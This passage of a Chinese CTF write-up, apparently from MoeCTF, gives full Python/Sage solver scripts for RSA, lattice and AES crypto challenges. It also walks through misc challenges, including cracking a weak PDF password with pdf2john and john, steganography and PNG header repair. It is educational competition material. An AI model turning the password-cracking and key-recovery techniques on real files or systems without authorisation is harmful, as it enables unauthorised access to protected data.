N = 214573917396475151591439896765340649356903366282510444643717995836268241944086135730442283063193255393603869402234028852312016590097601494284791676448001267763372323062884418596889759120350628812186406667350758599829877640794231128163608814018423074272718202058782335546144064988748275832931793658220184699303
e = 65537
g = 73484977888603783021476338660533250408703389103657907428651575929878729152777
enc = 49286646888982964532457878423948757700937118706141638346625071009061730002909495567061807689872070340382970279453224387751923897721080202354534089230325929411325064104922189262557791044445049532087245955298868504045172441275341650423890273895540164235535897925083392664030102071783198499588031261031158836202
# -----------------------------------------

# 1. 根据 N = 2*h*g + 1 计算 h
print("[+] Calculating h...")
h = (N - 1) // (2 * g)
print(f"h = {h}")

# 2. 计算初始的 S_0 和 P_0
P_0 = h // (2 * g)
S_0 = h % (2 * g)
print(f"[+] Initial S_0 = {S_0}")
print(f"[+] Initial P_0 = {P_0}")

# 3. 循环搜索正确的 k 值以修正 S 和 P
print("[+] Searching for correct S and P by iterating k...")
a, b = 0, 0
found = False
for k in range(10): # k 几乎总是一个非常小的整数,循环 10 次已足够
S = S_0 + k * (2 * g)
P = P_0 - k

# Delta = S^2 - 4P
# 检查 Delta 是否为非负数
if S**2 < 4 * P:
continue

delta = S**2 - 4 * P

# 检查 Delta 是否为完全平方数
if gmpy2.is_square(delta):
print(f"[+] Success! Found a perfect square for delta with k={k}.")
sqrt_delta = gmpy2.isqrt(delta)

# 求解 a 和 b
# 确保分子可以被 2 整除
if (S + sqrt_delta) % 2 == 0:
a = (S + sqrt_delta) // 2
b = (S - sqrt_delta) // 2
found = True
break # 找到解,跳出循环

if not found:
print("[-] Failed to find a valid solution after trying several values of k.")
else:
print(f"a = {a}")
print(f"b = {b}")

# 4. 计算 p 和 q
print("[+] Calculating factors p and q...")
p = 2 * g * a + 1
q = 2 * g * b + 1

# 验证 p 和 q 的正确性
if p * q == N:
print("[+] Factorization successful!")
print(f"p = {p}")
print(f"q = {q}")

# 5. 计算 phi(N) 和私钥 d
print("[+] Calculating private key d...")
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
print(f"d = {d}")

# 6. 解密
print("[+] Decrypting message...")
decrypted_message = pow(enc, d, N)

# 7. 将解密后的数字转换为字节得到 flag
flag = long_to_bytes(decrypted_message)
print("\n[+] Success! Flag found:")
print(flag.decode())
else:
print("[-] Error: Factorization failed. p * q does not equal N.")

✅ ez_lattice

该问题可化归为一个格(Lattice)中的 最短向量问题(Shortest Vector Problem, SVP)。通过使用 LLL 算法可以解决。本题使用了 SageMath 环境。

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding: utf-8 -*-
# 需要在 SageMath 环境中运行此脚本
# SageMath 可以通过 sage -python a.py 来执行

from Crypto.Util.number import long_to_bytes
from sage.all import *

# --- 从加密脚本的输出中填入以下值 ---
p = 202895599069795265300217445440887330777
C = [
[
5844964918905682736874002656822493633721014644198794438856307233274089159054271956509307935078407187685625823672214,
1135355253717010417350195229267160362825070493329509495646600221505075422646138405982280939161352788789393941674599,
4766958082110011091467111947260800788076522203034710708553465153699312156202348643127724087051290384217421843918356,
5136176149417308431331884755922175384667644522674316122790963148786190458383423381464644973871369708368358367351665,
2758221047695076594641885796062154727162927378625168462941131496257388168694296996544388712692535802159238978070942,
],
[
8142722027883223438871384152623052125523422645015862353475302544813257775775297834762437231454273731047928317212751,
2102386162882298834851733571268343316610266818702798944622012172920039241153247360551413231366974661274357631084556,
5686087028204205396197380336139671368831104376141420055500078625191090997193502833955344828590875947929331579769901,
7206367455126419320638353903371691665224110961295969024393724044457630448430575447157505211492798972525751704390546,
4420017245462841069535989454015246975175298616740927823204887634009029408630589573162423351348742841756458174170754,
],
[
8909105793299735404873208368369170510078019649401140676222171808623852259333153113495952506205720577072177674244162,
2143269963643655097169368959515232985312568877602572349851150253780897383454755938458259720328678357597055263808118,
6646844209593560705831188068062367510025973607222949834055995549767557199351543349038321150307134982830116080598653,
7859897220058551740085689620638136780117649577941681139151696788495616799616470589832275778389442382632425711023710,
4901136494910018401352497302344557801338671400474145229856060239082111284588915449091879357146059688372126453387896,
],
[
4561442428174641117266630043136867822557233769207089985004496514132034193704269987678304073037358904869898234388961,
930025556058528960428410536600171336272884979299307992417460883629550615478076128200020725863875012739730450235313,
3833639721069060311796600965947270553375657606880898216588759803544762170277006614271101333428816617169907309399265,
3999463967008836383955155828371784687843514906451542733879257869892186989205205139319354405375086830946026612695963,
2538583555698839226594422914665498018526964732573652699008111652147518726871881180289850412555120611895780699987863,
],
[
32900558121774236422587406670918164622087729011476679901148471880611154091796,
6708044734455549062270088852632185267182293732478929978186867102089467695125,
27651096872760085638143519159270328235531352854418201803726181670063035562555,
28847146220624859062466822361427589930122450674432214448392678509420006537362,
18310176470795140094049031724315523460954206960087902168285695441662935827960,
],
]

# 将 C 的行作为格的基,创建 Sage 矩阵
C_matrix = matrix(ZZ, C)

print("正在对格的基矩阵 C 运行 LLL 算法...")
# 直接对 C 运行 LLL 算法
reduced_basis = C_matrix.LLL()
print("LLL 算法完成。")

# 存储找到的 flag 块
found_blocks = set()

# LLL 找到的基向量非常短,其中一个应该就是我们的明文向量
print("\n搜索 LLL 降基后的向量...")
for v in reduced_basis:
# LLL 算法找到的向量可能是正的也可能是负的,我们两种情况都尝试
for vec in [v, -v]:
try:
# 尝试将向量的每个分量从整数转换回字节
flag_parts = [long_to_bytes(int(c)) for c in vec]

# 检查转换后的结果是否看起来像 flag 的一部分
# 这里我们假设 flag 是可打印的 ASCII 字符
current_flag = b""
is_valid = True
for part in flag_parts:
if all(32 <= b < 127 for b in part):
current_flag += part
else:
is_valid = False
break

if is_valid:
# 将解码后的字节串存入集合,自动去重
found_blocks.add(current_flag.decode("ascii"))

except (ValueError, OverflowError):
# 如果转换失败(比如数字是负数或太大),就跳过
continue

if found_blocks:
print("\n成功找到 flag!")
for flag in found_blocks:
print(f"Flag: {flag}")
else:
print("\n解密失败。未能在 LLL 降基结果中找到有效的 flag 字符串。")

✅ happyRSA

只需注意到

$$
\text{power_tower_mod}(a, k, m) \equiv 1 + \text{n_phi} + \text{n_phi}^2 \pmod{\text{n_phi}^3}
$$

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import math

# ================================================================= #
# 请在这里填入你从题目中获得的值
# ================================================================= #


n = 128523866891628647198256249821889078729612915602126813095353326058434117743331117354307769466834709121615383318360553158180793808091715290853250784591576293353438657705902690576369228616974691526529115840225288717188674903706286837772359866451871219784305209267680502055721789166823585304852101129034033822731
e = 65537
c = 125986017030189249606833383146319528808010980928552142070952791820726011301355101112751401734059277025967527782109331573869703458333443026446504541008332002497683482554529670817491746530944661661838872530737844860894779846008432862757182462997411607513582892540745324152395112372620247143278397038318619295886
x = 522964948416919148730075013940176144502085141572251634384238148239059418865743755566045480035498265634350869368780682933647857349700575757065055513839460630399915983325017019073643523849095374946914449481491243177810902947558024707988938268598599450358141276922628627391081922608389234345668009502520912713141

# ================================================================= #
# 解密过程开始
# ================================================================= #

print("[-] 步骤 1: 从 x 反解 n_phi")

# 我们需要解方程: n_phi^2 + n_phi + (1 - x) = 0
# 根据求根公式 n_phi = (-b ± sqrt(b^2 - 4ac)) / 2a
# 其中 a=1, b=1, c=1-x
# Δ = 1 - 4*(1-x) = 4*x - 3
delta1 = 4 * x - 3

# 对 delta1 开平方根,必须是整数
sqrt_delta1 = math.isqrt(delta1)

if sqrt_delta1 * sqrt_delta1 != delta1:
print("[!] 错误: 4*x - 3 不是一个完全平方数,无法求解 n_phi。")
exit()

# n_phi 必须是正数,所以我们取正根
# n_phi = (-1 + sqrt_delta1) / 2
n_phi = (sqrt_delta1 - 1) // 2

print(f"[*] 成功计算出 n_phi = {n_phi}")

# ----------------------------------------------------------------- #

print("\n[-] 步骤 2: 从 n 和 n_phi 分解出 p 和 q")

# 我们有两个方程:
# 1) p + q = n_phi + 1
# 2) p * q = n
# p 和 q 是二次方程 z^2 - (p+q)z + pq = 0 的两个根
S = n_phi + 1
P = n

# Δ = S^2 - 4P
delta2 = S * S - 4 * P

if delta2 < 0:
print("[!] 错误: delta2 小于 0,无法求解 p 和 q。")
exit()

sqrt_delta2 = math.isqrt(delta2)

if sqrt_delta2 * sqrt_delta2 != delta2:
print("[!] 错误: S^2 - 4n 不是一个完全平方数,无法求解 p 和 q。")
exit()

# 解出两个根
p = (S + sqrt_delta2) // 2
q = (S - sqrt_delta2) // 2

# 验证 p * q 是否等于 n
if p * q != n:
print("[!] 错误: 计算出的 p 和 q 不正确!")
exit()

print(f"[*] 成功分解 n!")
print(f"[*] p = {p}")
print(f"[*] q = {q}")

# ----------------------------------------------------------------- #

print("\n[-] 步骤 3: 计算私钥 d 并解密")

# 计算欧拉总计函数 phi(n)
phi = (p - 1) * (q - 1)

# 计算私钥 d,即 e 关于 phi 的模逆元
# d * e ≡ 1 (mod phi)
try:
d = pow(e, -1, phi)
print(f"[*] 成功计算出私钥 d = {d}")
except ValueError:
print("[!] 错误: e 和 phi 不互质,无法计算模逆元。")
exit()

# 使用私钥解密密文 c
# m = c^d mod n
m = pow(c, d, n)
print(f"[*] 成功解密出明文的整数形式 m = {m}")

# ----------------------------------------------------------------- #

print("\n[-] 步骤 4: 将明文整数转换为字符串")

# 计算整数 m 需要多少个字节来存储
byte_length = (m.bit_length() + 7) // 8
flag_bytes = m.to_bytes(byte_length, 'big')

print("\n=================================================================")
try:
# 尝试用 UTF-8 解码
flag = flag_bytes.decode('utf-8')
print(f"🎉 解密成功!Flag 是: {flag}")
except UnicodeDecodeError:
print("⚠️ 无法使用 UTF-8 解码,打印原始字节串。")
print(f"🎉 解密成功!Flag (bytes) 是: {flag_bytes}")
print("=================================================================")

✅ 神秘数字太多了

对于

$$
\underbrace{11 \ldots 1}_{N\text{ ones}} \equiv 114,514 \pmod{10,000,000,000,099}
$$

注意到

$$
\underbrace{11 \ldots 1}_{N\text{ ones}} = \frac{10^N - 1}{9}
$$

代入并于两边同乘 $9$ 后,得到

$$
10^N - 1 \equiv 9 \cdot 114,514 \pmod{9 \cdot 10,000,000,000,099}
$$

使用 BSGS 算法即可。得到

$$
N = 7,718,260,004,383
$$

更进一步地,考虑到 $9$ 与 $M$ 的因子互素(或我们直接说 $9$ 与 $M$ 互素),所以可以分别于模 $9$ 和模 $M$ 上求解,之后合并。

❌ ezHalfGCD

有一点思路,但不多……?似乎需要用到代数变形,等星澜音之后再研究吧。

❌ wiener++

这是个啥东西……?我连 CTF Wiki 上的那一段都看不懂😭

✅ Legendre_revenge

题目将 $16 \times 2$ 个微比特信息打包成一个小于 $2^{16}$ 的整数 key 并用一个大模 $p$ 验证 pow(key, 2*e, p_) == V,所以 key 可穷举;另一端将最终的 32 字节用取模平方隐藏为 text,可以还原出 2 种候选根;剩下的就是按轮逆向:每个输出字节仅依赖一个 AES 加密输出字节和一位 bit,因此可以逐个字枚举候选并组合成 16 字节 enc、AES 解密检验并回溯 10 轮以得到原始 flag

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
# ctf_crypto_solver.py
# 依赖: pycryptodome, gmpy2
# pip install pycryptodome gmpy2

from Crypto.Cipher import AES
from itertools import product
import gmpy2
import sys

# ---------- paste constants from the challenge ----------
p = 251
e = 65537

# challenge constants (from prompt)
p_ = 71583805456773770888820224577418671344500223401233301642692926000191389937709
V = 1679283667939124174051653611794421444808492935736643969239278575726980681302

text_val = 26588763961966808496088145486940545448967891102453278501457496293530671899568

a = [
[239, 239, 251, 239],
[233, 227, 233, 251],
[251, 239, 251, 233],
[233, 227, 251, 233],
]

lis0 = [
[341, 710, 523, 1016],
[636, 366, 441, 790],
[637, 347, 728, 426],
[150, 184, 421, 733],
]
lis1 = [
[133, 301, 251, 543],
[444, 996, 507, 1005],
[18, 902, 379, 878],
[235, 448, 836, 263],
]
# ------------------------------------------------------


# ---------- small helpers ----------
def function_ch(x, modp):
"""Replicate challenge's function: if x>=modp return x; else if x is quadratic residue modp -> x^2 modp, else x^3 modp"""
if x >= modp:
return x
if pow(x, (modp - 1) // 2, modp) == 1:
return pow(x, 2, modp)
else:
return pow(x, 3, modp)


def matrix_to_str(matrix):
# challenge: flatten by rows then cols, then rstrip nulls
b = bytes(sum([[matrix[row][col] for col in range(4)] for row in range(4)], []))
return b.rstrip(b"\0")


def str_to_matrix(s):
# challenge: matrix = [[function(s[row + 4*col],p) for row in range(4)] for col in range(4)]
matrix = [
[function_ch(s[row + 4 * col], p) for row in range(4)] for col in range(4)
]
return matrix


def forward_round(plaintext16, cipher, a_mat):
"""Replicate exactly one forward round in challenge:
enc = cipher.encrypt(plaintext16)
matrix = str_to_matrix(enc)
for row,col: lis bit uses matrix[row][col] > a[row][col]//2
matrix = [[function(matrix[col][row], a[col][row]) for row in range(4)] for col in range(4)]
out = matrix_to_str(matrix)
returns out (16 bytes) and bitmat (4x4 of 0/1)
"""
enc = cipher.encrypt(plaintext16)
# build initial matrix as challenge: outer index = col, inner = row
M = [[function_ch(enc[row + 4 * col], p) for row in range(4)] for col in range(4)]
# bit matrix using matrix[row][col] (note indexing transpose in challenge)
bitmat = [[0] * 4 for _ in range(4)]
for row in range(4):
for col in range(4):
bitmat[row][col] = 1 if M[row][col] > a_mat[row][col] // 2 else 0
# second application: matrix[col][row] -> function(..., a[col][row])
M2 = [
[function_ch(M[col][row], a_mat[col][row]) for row in range(4)]
for col in range(4)
]
out = matrix_to_str(M2)
return out, bitmat


# ---------- Tonelli-Shanks sqrt mod p_ ----------
def tonelli_shanks(n, p):
"""Return a sqrt r such that r^2 = n mod p (p odd prime) or raise if non-residue"""
if n == 0:
return 0
assert gmpy2.powmod(n, (p - 1) // 2, p) == 1
if p % 4 == 3:
return int(gmpy2.powmod(n, (p + 1) // 4, p))
# Find Q and S with p-1 = Q * 2^S, Q odd
Q = p - 1
S = 0
while Q % 2 == 0:
Q //= 2
S += 1
# find z a quadratic non-residue
z = 2
while gmpy2.powmod(z, (p - 1) // 2, p) != p - 1:
z += 1
M = S
c = int(gmpy2.powmod(z, Q, p))
t = int(gmpy2.powmod(n, Q, p))
R = int(gmpy2.powmod(n, (Q + 1) // 2, p))
while True:
if t == 0:
return 0
if t == 1:
return R
# find least i (0 < i < M) with t^(2^i) = 1
i = 1
t2i = (t * t) % p
while t2i != 1:
t2i = (t2i * t2i) % p
i += 1
if i >= M:
raise RuntimeError("TS failed")
b = int(gmpy2.powmod(c, 1 << (M - i - 1), p))
M = i
c = (b * b) % p
t = (t * c) % p
R = (R * b) % p


# ---------- bits extraction from lis (MSB-first) ----------
def lis_to_bitmats(lis):
"""Convert lis (4x4 ints) into list of 10 bit-matrices (round 0..9), MSB-first as in challenge shift<<1 then add."""
rounds = 10
bitmats = []
for r in range(rounds):
bm = [
[(lis[row][col] >> (rounds - 1 - r)) & 1 for col in range(4)]
for row in range(4)
]
bitmats.append(bm)
return bitmats


# ---------- invert one round ----------
def invert_one_round(current_text16, bitmat, a_mat, cipher):
"""
Given the output bytes after one round (current_text16), the bit matrix for that round,
and the a matrix, find all candidate previous plain 16-byte blocks.

Strategy: for each position (row,col) the mapping is:
j = col + 4*row (index in enc)
k = row*4 + col (index in output)
We need x in [0..255] such that:
m = function_ch(x, p)
bit condition: (m > a[row][col]//2) == bitmat[row][col]
and function_ch(m, a[row][col]) % ? == out_byte (but function_ch returns integer possibly >= 256).
However matrix_to_str flattened raw integers into bytes; therefore the values must fit into 0..255.
So we require function_ch(m, a[row][col]) == out_byte_byte (0..255).
"""
if len(current_text16) < 16:
# If rstrip removed trailing zeros, pad to 16 with zeros to reconstruct the full 4x4
current_text = current_text16 + b"\x00" * (16 - len(current_text16))
else:
current_text = current_text16[:16]

# For each position j (enc index), build candidate bytes x
per_pos_candidates = []
for row in range(4):
for col in range(4):
j = col + 4 * row
k = row * 4 + col
target_out = current_text[k]
a_param = a_mat[row][col]
want_bit = bitmat[row][col]
candidates = []
for x in range(256):
m = function_ch(x, p) # m in 0..p-1 (since x<p)
# bit check
bit = 1 if m > a_param // 2 else 0
if bit != want_bit:
continue
# second function
val = function_ch(m, a_param)
# But note: matrix_to_str used bytes(...) where each element must be 0..255
if val == target_out:
candidates.append(x)
if len(candidates) == 0:
# no solution for this position -> impossible
return []
per_pos_candidates.append(candidates)

# Now combine candidates: the total search size = product of len(cands)
total = 1
for c in per_pos_candidates:
total *= len(c)
# Heuristic: if total too big, give up to prevent explosion
MAX_COMB = 3_000_000
if total > MAX_COMB:
print(
f"[!] candidate space too large: {total} combinations -> abort this branch",
file=sys.stderr,
)
return []

prev_texts = []
# iterate cartesian product
for combo in product(*per_pos_candidates):
enc = bytes(combo)
# decrypt to get previous plaintext
prev_plain = cipher.decrypt(enc)
# verify by forward_round to be safe
out2, bit2 = forward_round(prev_plain, cipher, a_mat)
# out2 may be shorter due to rstrip, but compare as in challenge
if out2 == current_text16 or (
len(out2) >= len(current_text16)
and out2[: len(current_text16)] == current_text16
):
# also ensure bit2 equals provided bitmat
if bit2 == bitmat:
prev_texts.append(prev_plain)
return prev_texts


# ---------- overall backtracking for one 16-byte chain ----------
def backtrack_chain(final_block16, lis, a_mat, cipher, rounds=10):
"""Given final 16B block (after 10 rounds), backtrack all possible original plaintexts."""
bitmats = lis_to_bitmats(lis)
# start from final block (this is text_[t] after 10 rounds)
curr_candidates = [final_block16]
for r in reversed(range(rounds)):
print(
f"[+] backtracking round {r} ... current candidates: {len(curr_candidates)}"
)
next_candidates = []
bm = bitmats[r]
for cand in curr_candidates:
prevs = invert_one_round(cand, bm, a_mat, cipher)
if prevs:
next_candidates.extend(prevs)
# deduplicate
# convert to bytes to dedup
uniq = {}
for b in next_candidates:
uniq[b] = True
curr_candidates = list(uniq.keys())
if not curr_candidates:
print(f"[!] no candidates found at round {r}, aborting this branch")
return []
return curr_candidates


# ---------- find key by brute (0..65535) ----------
def find_key():
print("[*] searching key in 0..65535 ...")
for k in range(1 << 16):
if pow(k, 2 * e, p_) == V:
print(f"[+] found key = {k}")
return k
print("[!] key not found")
return None


# ---------- main ----------
def main():
key = find_key()
if key is None:
return
aes_key_bytes = (key << 107).to_bytes(
16, "big"
) # same as long_to_bytes(key<<107) with 16B
print(f"[*] AES key bytes (hex): {aes_key_bytes.hex()}")
cipher = AES.new(aes_key_bytes, AES.MODE_ECB)

# modular sqrt of text_val
print("[*] computing modular sqrt of text_val ...")
if gmpy2.powmod(text_val, (p_ - 1) // 2, p_) != 1:
print("[!] text_val is not quadratic residue mod p_, cannot sqrt")
return
r = tonelli_shanks(text_val, p_)
roots = [int(r), int(p_ - r)]
print(f"[*] two roots computed. trying both...")

# try each root -> split into two 16-byte blocks
sols = []
for root in roots:
b32 = int(root).to_bytes(32, "big")
block0 = b32[:16]
block1 = b32[16:]
print(f"[*] trying root: {root}")
# backtrack t=0 using lis0, t=1 using lis1
print("[*] backtracking block0 with lis0 ...")
cand0 = backtrack_chain(block0, lis0, a, cipher)
print(f"[*] backtracking block1 with lis1 ...")
cand1 = backtrack_chain(block1, lis1, a, cipher)
# combine cartesian product of cand0 x cand1 to form flags
for p0 in cand0:
for p1 in cand1:
flag_bytes = p0 + p1
# attempt to decode as utf-8/printable
try:
flag_str = flag_bytes.decode("utf-8")
except:
flag_str = None
sols.append((flag_bytes, flag_str))
# report solutions
if not sols:
print("[!] no candidate flags recovered.")
else:
print(f"[+] found {len(sols)} candidate flag(s):")
for idx, (fb, fs) in enumerate(sols):
if fs and all(32 <= ord(ch) <= 126 for ch in fs):
print(f"[*] Candidate {idx}: {fs}")
else:
print(f"[*] Candidate {idx}: bytes(hex) = {fb.hex()}")
if fs:
print(f" as utf-8 (nonprintable?): {fs!r}")


if __name__ == "__main__":
main()

安全杂项 Misc

这部分题目还是蛮有意思的😋好玩不难,除了 Pyjail 6😭不过说句实话,Pyjail 6 虽然难度有点逆天,但思路非常震撼,几乎可以说是令人「叹为观止」……是特别伟大的题目。

✅ 2048_master

IDA Pro 分析 2048_master.exe,在 WinMain 函数中找到 WNDPROC 函数 sub_402F84()。分析该函数,在第 243 行找到 else if ( n20 == 1 ) 分支,注意到第 252 行和第 253 行,程序以 CreateThread 创建了两个线程 StartAddresssub_401E38flag 隐藏在其中或可由其得到的概率极大。

Misc 的 2048_master 题,flag 埋藏在 StartAddress 中。

StartAddress 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void __fastcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
unsigned int Seed; // eax
int v2; // eax
int i; // [rsp+2Ch] [rbp-4h]

Seed = time64(0LL);
srand(Seed);
while (1)
{
v2 = rand();
sub_4579D0(&unk_4B60F0, (char *)&unk_4B60C0 + 8 * (v2 % 4uLL));
if (byte_4B60E0)
{
sub_4579A0(&unk_4B60F0, &unk_4950DC);
for (i = 0; (unsigned __int64)i < 0x29; ++i)
sub_457AE0(&unk_4B60F0, (unsigned int)(char)(byte_47F0C0[4 * i] ^ 0x2A));
}
InvalidateRect(hWnd, 0LL, 1);
Sleep(0xFA0u);
}
}

StartAddress 的中间部分以 byte_4B60E0 的值判断是否进行额外操作:若是,则对 byte_47F0C0 中的 41 个特定数据字节每 4 个地进行 XOR(与 0x2A)解码。我们猜测 flagbyte_47F0C0 相关,提取出 byte_47F0C0 并在 CyberChef 中使用 From HexXOR 即可得到 flag

使用 CyberChef 解密得到 `flag`

✅ Misc 入门指北

不难注意到,该 flag 以白色文本隐藏在题目给定的 PDF 文件中。

`flag` 位于隐藏的白色文本中

✅ Rush

使用工具逐帧提取题目给定的 .gif 文件,得到第 12 帧图片如下。

`.gif` 文件的第 12 帧

不难发现这是一个残缺的二维码。判断该二维码的大小为 37x37 (ver.5),根据给出的部分判断其纠错等级为 H,掩码图案为 1。使用工具补全该二维码并尝试解码即可。

补全二维码并解码

微信似乎有鲁棒性极强的二维码识别库,在左上角补全一个框后便可直接识别。为什么不早说😭星澜音拿着网站补了三个小时😭

✅ ez_LSB

参考

的内容,使用 StegSolve 的 Data Extract 功能,猜测并设置下图的参数,在解压出的数据最上部获得 flag 的 Base64 编码后内容。

使用 StegSolve 提取数据

使用任意 Base64 解码器解码后得到 flag

✅ ez_锟斤拷????

注意到「锟斤拷」是经典的 GBK 和 UTF-8 编码互转时出现的问题,我们直接使用编码恢复工具即可。需要注意的是得到的解码结果是全角字符,需要手动转为半角字符。

使用编码恢复工具

✅ weird_photo

使用 pngcheck 检验 photo.png 的 CRC 信息,直接发现问题:

1
2
3
4
5
6
┌──(stellalyrin㉿lyrin-A16)-[/mnt/s/MoeCTF/Misc]
└─$ pngcheck photo.png
zlib warning: different version (expected 1.2.13, using 1.3.1)

photo.png CRC error in chunk IHDR (computed d34d176f, expected b5a7bf8c)
ERROR: photo.png

这是诡异的。校正 CRC 信息至正确的高度可能有些困难,我们直接尝试部分拉长图片的高度信息。将图片使用 HexEd.it 打开后,更改第 17 个字节从 0102 后另存为文件即可得到 flag

扩大图片以得到 `flag`

Windows 11 的「照片」应用可以顺利打开被拉伸过度的图片,但似乎大多数平台均无法处理 CRC 信息错误的图片。这里不得不夸赞一次 Windows 11 的先进了(?)

✅ SSTV

使用线上 SSTV Decoder 可直接得到 flag

使用线上 SSTV Decoder

✅ encrypted_pdf

题目给定的 attachment.zip 中,diary.txt 给出提示

So I will use a password that is simple enough.

这说明加密的 不知道写什么.pdf 采用弱密码。使用 pdf2john 提取哈希后,再使用 john 爆破即可,得到弱密码 qwe123

使用 `john` 爆破密码

打开 PDF 后,在第 2 页得到了一个 香香软软甜甜糯糯蜂蜜奶油甜甜腻腻酥酥脆脆滑滑嫩嫩番茄炒可乐番茄炒科比草莓蓝莓苹果香蕉葡萄香香甜甜酸酸甜甜辣辣爽爽咸咸鲜鲜苦苦甘甘滑滑嫩嫩酥酥脆脆软软绵绵弹弹润润油油腻腻清清爽爽浓浓醇醇淡淡幽幽热热乎乎冰冰凉凉黏黏糊糊爽爽脆脆鲜鲜嫩嫩辣辣麻苦苦辣辣苹果香蕉橙子草莓葡萄西瓜樱桃菠萝猕猴桃蓝莓桃子梨杏李子西红柿黄瓜胡萝卜生菜菠菜花椰菜卷心菜洋葱大蒜土豆红薯南瓜玉米豌豆扁豆红豆绿豆黄豆黑豆鸡蛋牛奶奶酪酸奶黄油面包面条米饭燕麦玉米片饼干蛋糕油鱼虾蟹龙虾贝类牛肉羊肉猪肉鸡肉鸭肉鹅肉火鸡肉香肠火腿培根肉丸汉堡热狗披萨寿司拉面咖喱炖肉烤肉烤鱼烤鸡沙拉汤粥蒸蛋豆腐豆浆豆奶豆腥草豆皮豆干芒果柠檬柚子金桔百香果火龙果牛油果无花果荔枝龙眼枇杷山楂桑葚甜瓜哈密瓜甜菜根莴苣茼蒿芥蓝芹菜荠菜苋菜意式烤蔬菜配香草酱和橄榄油鲜美多汁香脆可口滑嫩浓郁醇厚甘甜爽口香辣酸甜苦辣咸香酥软糯滑爽劲道鲜美清香扑鼻诱人色泽鲜艳香气扑鼻口感丰富层次分明风味独特香气四溢回味无穷色香味俱佳口感细腻肉质鲜嫩色泽金黄外酥里嫩香气浓郁味道鲜美口感滑嫩味道醇厚味道独特味道浓郁口感丰富味道鲜美味道醇厚味道独特香气扑鼻的 XDSEC 娘。根据题目提示,将 PDF 文件转换到 SVG 格式后,尝试寻找 flagmoectf 字样,但并未成功。

考虑到 flag 文本可能被 XDSEC 娘遮挡,我们

直接将 XDSEC 娘从屏幕里抱走

移除 XDSEC 娘元素后得到 `flag`

于是得到了 XDSEC 娘和题目的 flag

呜呜呜 XDSEC 娘你带我走吧✋😭🤚我什么 CTF 都会做的😭😭😭

✅ 哈基米难没露躲

本年度最迷惑题目。

打开附件 hachimigo.zip 中的 はちみ語.txt,得到:

「はちみ語.txt」内容

